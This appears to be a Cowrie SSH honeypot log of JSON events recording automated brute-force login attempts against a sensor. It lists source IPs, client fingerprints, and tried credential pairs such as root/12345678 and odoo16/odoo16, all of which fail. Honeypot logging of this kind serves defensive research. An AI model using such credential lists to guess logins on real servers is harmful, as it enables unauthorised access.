{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:e6:98:4d:0b:5b:d6:58:fd:24:b2:39:7a:0c:45:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9c1zSbuTKaqRLaT16MpkVSeDKhwNlmWBHuOc1jobSTsFOhvLOjDDE4hCNBw5yJcSbD1BN3dAAvfkxVeVwLAmwL7HN0/Zwtsu15aNA8i0hgFG5dy9GwSWgDsIKzcsNReOqn84ZNNGd5/OHmLEgPlKYWvj2DS3ANaLea4CcPP3vz6Xf5SAsNoVF59j2ct8qTM2v3aLZSPkMD5G5XgzQf3DCf2jROBAl6UGXwNtOmLebzWnXUsorpDawrYWC/tUrXwYyadKXozGhEW6gpRKycpsvvPTJwwRy9/ten/96MXyYTwXHB5w8K1z0YkSfmYNdQKirPly3L2gaC30iSsoHeWbS2FoZEgFwDAGT9v7oROcqKezUxMEplxLOU0TyvFnXjWvSQscMNOo4YI7omekp6jZMtqPUFRXD6LDt78dFR9T8jN/eq1k/Mi+N4a7/rgAlP20HZcn7ELEZTb0Limutpqz3Amv6sFzPcl0kQ6uo7q/zg1C1tRXhuMt/gnhR7pdEj0RUAP6NbhS0SG6p9UNZxj/dU6aP35G6bM/gMFouAGnLC9+a9F2a+jFkNu+K4YcN4gGwhdbT1Nwv57cR38SomjBHQthUMtjqpVcgnSBKQf4lFoAbMhdhQudiQQIxSgu5BxJhRL+nfb9TGMS6cSDrW6Tbq2ixDfVfTpAHk9h3L/HgDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:e6:98:4d:0b:5b:d6:58:fd:24:b2:39:7a:0c:45:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:49.634766Z","src_ip":"185.255.100.251","session":"e28748eb0e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:e6:98:4d:0b:5b:d6:58:fd:24:b2:39:7a:0c:45:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9c1zSbuTKaqRLaT16MpkVSeDKhwNlmWBHuOc1jobSTsFOhvLOjDDE4hCNBw5yJcSbD1BN3dAAvfkxVeVwLAmwL7HN0/Zwtsu15aNA8i0hgFG5dy9GwSWgDsIKzcsNReOqn84ZNNGd5/OHmLEgPlKYWvj2DS3ANaLea4CcPP3vz6Xf5SAsNoVF59j2ct8qTM2v3aLZSPkMD5G5XgzQf3DCf2jROBAl6UGXwNtOmLebzWnXUsorpDawrYWC/tUrXwYyadKXozGhEW6gpRKycpsvvPTJwwRy9/ten/96MXyYTwXHB5w8K1z0YkSfmYNdQKirPly3L2gaC30iSsoHeWbS2FoZEgFwDAGT9v7oROcqKezUxMEplxLOU0TyvFnXjWvSQscMNOo4YI7omekp6jZMtqPUFRXD6LDt78dFR9T8jN/eq1k/Mi+N4a7/rgAlP20HZcn7ELEZTb0Limutpqz3Amv6sFzPcl0kQ6uo7q/zg1C1tRXhuMt/gnhR7pdEj0RUAP6NbhS0SG6p9UNZxj/dU6aP35G6bM/gMFouAGnLC9+a9F2a+jFkNu+K4YcN4gGwhdbT1Nwv57cR38SomjBHQthUMtjqpVcgnSBKQf4lFoAbMhdhQudiQQIxSgu5BxJhRL+nfb9TGMS6cSDrW6Tbq2ixDfVfTpAHk9h3L/HgDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:49.638623Z","src_ip":"185.255.100.251","session":"e28748eb0e20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:1b:e9:9f:9c:ab:6b:fd:cd:5c:fb:06:c7:00:0d:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3c1d5cGkQYQbDd7XZ8pDrQu6IZk3fw/uEzD0Xh4Iq/wz4vwOEbdgDCQVZ+PHSVhTUDN8OtgBLpOOIm53LHsTi9CwFPH2wHPVU8UbVuXO/xD+p8nbz5IUd0fCViTznW1C9TeYQuK5fYQHew5I0ybOViI0oYALjbp/cgtS8/Il1r/UcJWMLLaGrfRc1kCCe9B47VEjTus+qJtqEFNSxc+bV+qRWXKhSPuztdCJSE867FmSU4+Nacc22MYOW5k8On0Cvg/6agd267c6f0TMNjLpe/uStUUSKSZY8PKdbQJITMYMQOM7jQ2ufHLxM7j5FKZBfkruJIyYkDR+pHGv5emNf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:1b:e9:9f:9c:ab:6b:fd:cd:5c:fb:06:c7:00:0d:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:49.646524Z","src_ip":"185.255.100.251","session":"e28748eb0e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:1b:e9:9f:9c:ab:6b:fd:cd:5c:fb:06:c7:00:0d:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3c1d5cGkQYQbDd7XZ8pDrQu6IZk3fw/uEzD0Xh4Iq/wz4vwOEbdgDCQVZ+PHSVhTUDN8OtgBLpOOIm53LHsTi9CwFPH2wHPVU8UbVuXO/xD+p8nbz5IUd0fCViTznW1C9TeYQuK5fYQHew5I0ybOViI0oYALjbp/cgtS8/Il1r/UcJWMLLaGrfRc1kCCe9B47VEjTus+qJtqEFNSxc+bV+qRWXKhSPuztdCJSE867FmSU4+Nacc22MYOW5k8On0Cvg/6agd267c6f0TMNjLpe/uStUUSKSZY8PKdbQJITMYMQOM7jQ2ufHLxM7j5FKZBfkruJIyYkDR+pHGv5emNf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:49.650147Z","src_ip":"185.255.100.251","session":"e28748eb0e20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:6c:65:6c:e5:75:09:c4:25:83:f4:7a:5c:6f:e6:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCTLPMkfM7XTTUIRhKtsnHWnsEpnrWFR7MxIDEUw+mZbLb8fmy8qXq3z4fXi2PJsZLsC9gaEdHAx4aGlb9UaPk7xXKui5Y52fmnOL6p4O+sH21Tz63Zd59fbbnKtldk7s8dSZRfHladNs2poABhbiEEuU85lyBwmJ6TGFCE5NFsgU9aBHUB0ZcJ6jp1H9DvS24LfQO8rInW7YLkpfcfmtE2kqu2qMqyy2PsGJEZqgw+oUtup7KTqbO3A3Nxgfq4wswb5RGWV4yL82iCu8miez9UtxqvH/7qzUtQvYLWIIgd/cep6xmXwoPCmB58dWFylfIeaWA1E431DLsLbezoIjuunMqrh8JzdQ6pXBC5Kqh9fCyiCY4tW//aYdQtb8K6HsKTCj9C0tJAu1t12AC7ydCq1sfyiPRx7h4fezSzzXjm3HjDR0UwHlU2JZ4pItvO2GfdOH3Wt1pXwuCqbRR5tot572nC+8ReGxcFdfPLtsIxOxrhURRiP/dFTOBkRvDep2N+a9WaoFl6WOLI0aaav7j0jEfBYzECPQat564eVj6pVfn00uFeOqipcfGMMBgGqNkRGHrCe+6fhrCCrpUcckkRiqb9tJKPDrdvlBGm45fEvm/UDqN7rn8T2PpMhOn47ig7jp4vh1rGbFIDxBL90B8Qkr+CFCLZ2tPG8yT99MRr9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:6c:65:6c:e5:75:09:c4:25:83:f4:7a:5c:6f:e6:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:49.661295Z","src_ip":"185.255.100.251","session":"e28748eb0e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:6c:65:6c:e5:75:09:c4:25:83:f4:7a:5c:6f:e6:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCTLPMkfM7XTTUIRhKtsnHWnsEpnrWFR7MxIDEUw+mZbLb8fmy8qXq3z4fXi2PJsZLsC9gaEdHAx4aGlb9UaPk7xXKui5Y52fmnOL6p4O+sH21Tz63Zd59fbbnKtldk7s8dSZRfHladNs2poABhbiEEuU85lyBwmJ6TGFCE5NFsgU9aBHUB0ZcJ6jp1H9DvS24LfQO8rInW7YLkpfcfmtE2kqu2qMqyy2PsGJEZqgw+oUtup7KTqbO3A3Nxgfq4wswb5RGWV4yL82iCu8miez9UtxqvH/7qzUtQvYLWIIgd/cep6xmXwoPCmB58dWFylfIeaWA1E431DLsLbezoIjuunMqrh8JzdQ6pXBC5Kqh9fCyiCY4tW//aYdQtb8K6HsKTCj9C0tJAu1t12AC7ydCq1sfyiPRx7h4fezSzzXjm3HjDR0UwHlU2JZ4pItvO2GfdOH3Wt1pXwuCqbRR5tot572nC+8ReGxcFdfPLtsIxOxrhURRiP/dFTOBkRvDep2N+a9WaoFl6WOLI0aaav7j0jEfBYzECPQat564eVj6pVfn00uFeOqipcfGMMBgGqNkRGHrCe+6fhrCCrpUcckkRiqb9tJKPDrdvlBGm45fEvm/UDqN7rn8T2PpMhOn47ig7jp4vh1rGbFIDxBL90B8Qkr+CFCLZ2tPG8yT99MRr9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:49.665538Z","src_ip":"185.255.100.251","session":"e28748eb0e20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:94:85:fd:b1:26:86:7c:93:58:a4:4d:ac:73:64:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4L3fEQOKYQXxBibhG3HRU5Zgokumx/SpfsTb77XMOMItxvm+qWGJVF5lgeOAPqf0QrK//wWRr6yeMLpcfCLhISv9C4dcKQg97cXBXz2vwZg/FZCH7j79utxJyn1wV9tJUcqWUMsHzH5S0ppqtce9uY7U1GOlAYQZ0eh5cDZvzFnj9XvqT4X6v059z2DIMrRsV8cQBQpU2ei4VoXpozPu2zt8wkGZRXyzvTJdWj8BilGDzDdNpRfkbikMAEB99al9IxqxoG5hNl4X4rhP/L3/wH4jLWARpkxdj76sVBd8T6wa0CQ7nMgYkXnzk28oHqYuOGMfmbsmx7Glre+cY8jeLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:94:85:fd:b1:26:86:7c:93:58:a4:4d:ac:73:64:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:49.676028Z","src_ip":"185.255.100.251","session":"e28748eb0e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:94:85:fd:b1:26:86:7c:93:58:a4:4d:ac:73:64:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4L3fEQOKYQXxBibhG3HRU5Zgokumx/SpfsTb77XMOMItxvm+qWGJVF5lgeOAPqf0QrK//wWRr6yeMLpcfCLhISv9C4dcKQg97cXBXz2vwZg/FZCH7j79utxJyn1wV9tJUcqWUMsHzH5S0ppqtce9uY7U1GOlAYQZ0eh5cDZvzFnj9XvqT4X6v059z2DIMrRsV8cQBQpU2ei4VoXpozPu2zt8wkGZRXyzvTJdWj8BilGDzDdNpRfkbikMAEB99al9IxqxoG5hNl4X4rhP/L3/wH4jLWARpkxdj76sVBd8T6wa0CQ7nMgYkXnzk28oHqYuOGMfmbsmx7Glre+cY8jeLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:49.680112Z","src_ip":"185.255.100.251","session":"e28748eb0e20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:49.689261Z","src_ip":"185.255.100.251","session":"e28748eb0e20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":57408,"dst_ip":"10.17.0.5","dst_port":22,"session":"448d934e31cb","protocol":"ssh","message":"New connection: 193.151.144.93:57408 (10.17.0.5:22) [session: 448d934e31cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:52.673768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:52.678250Z","src_ip":"193.151.144.93","session":"448d934e31cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:52.845035Z","src_ip":"193.151.144.93","session":"448d934e31cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:53.348749Z","src_ip":"193.151.144.93","session":"448d934e31cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:54.569476Z","src_ip":"193.151.144.93","session":"448d934e31cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":57410,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d94f31700ba","protocol":"ssh","message":"New connection: 193.151.144.93:57410 (10.17.0.5:22) [session: 5d94f31700ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:57.915534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:57.920040Z","src_ip":"193.151.144.93","session":"5d94f31700ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:58.089723Z","src_ip":"193.151.144.93","session":"5d94f31700ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:58.599636Z","src_ip":"193.151.144.93","session":"5d94f31700ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:59.771584Z","src_ip":"193.151.144.93","session":"5d94f31700ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":59502,"dst_ip":"10.17.0.5","dst_port":22,"session":"24e89cb0a1c1","protocol":"ssh","message":"New connection: 193.151.144.93:59502 (10.17.0.5:22) [session: 24e89cb0a1c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:03.200663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:03.211234Z","src_ip":"193.151.144.93","session":"24e89cb0a1c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:03.381638Z","src_ip":"193.151.144.93","session":"24e89cb0a1c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:03.888689Z","src_ip":"193.151.144.93","session":"24e89cb0a1c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:06.754297Z","src_ip":"193.151.144.93","session":"24e89cb0a1c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":51296,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ac148716af2","protocol":"ssh","message":"New connection: 103.27.238.114:51296 (10.17.0.5:22) [session: 0ac148716af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:07.857431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:07.862366Z","src_ip":"103.27.238.114","session":"0ac148716af2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:08.148691Z","src_ip":"103.27.238.114","session":"0ac148716af2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":59510,"dst_ip":"10.17.0.5","dst_port":22,"session":"9393f0c2ac3e","protocol":"ssh","message":"New connection: 193.151.144.93:59510 (10.17.0.5:22) [session: 9393f0c2ac3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:08.582775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:08.587654Z","src_ip":"193.151.144.93","session":"9393f0c2ac3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:08.751011Z","src_ip":"193.151.144.93","session":"9393f0c2ac3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"madman","message":"login attempt [root/madman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:09.009004Z","src_ip":"103.27.238.114","session":"0ac148716af2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:09.253944Z","src_ip":"193.151.144.93","session":"9393f0c2ac3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:10.297244Z","src_ip":"103.27.238.114","session":"0ac148716af2","protocol":"ssh"}
